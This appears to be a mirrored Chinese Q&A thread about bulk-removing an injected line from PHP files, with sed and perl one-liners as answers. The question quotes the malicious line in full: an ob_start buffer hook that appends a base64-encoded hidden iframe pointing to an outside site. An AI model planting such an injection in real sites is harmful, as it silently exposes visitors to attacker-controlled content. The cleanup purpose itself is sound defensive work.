0

我正在尝试对所有 .php 文件进行大规模搜索并替换以下字符串以进行恶意软件清理:

<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vd3d3Lml3cy1sZWlwemlnLmRlL2NvbnRhY3RzLnBocCI+PC9pZnJhbWU+PC9kaXY+Jyk7PC9zY3JpcHQ+');}

我可以通过删除整行sed '/buffer.base64_decode/d' file.php。但是,我仍然需要开口<?php

所以真正需要做的是搜索和替换buffer.base64_decodefor <?php,在这台邪恶的电脑前度过漫长的一天后,我的大脑全是土豆泥。

或者,也许我认为自己进入了一个小盒子,而这一切都错了?

4

2 回答 2

1

而不是删除该行,您不只是更改它吗?以下是如何使用GNU sed

sed -i '/buffer.base64_decode/c \<?php ' file.php

现在对于您工作目录中的所有文件:

find . -type f -name "*.php" -exec sed -i '/buffer.base64_decode/c \<?php ' {} \;
于 2012-10-24T06:26:36.273 回答
0

perl -pe 's/<\?php ob_start\("security_update"\);.*?\?>//gsm; s/<\?php ob_start\("security_update"\);.*/<?php/g;' test.php

于 2012-10-24T01:17:10.687 回答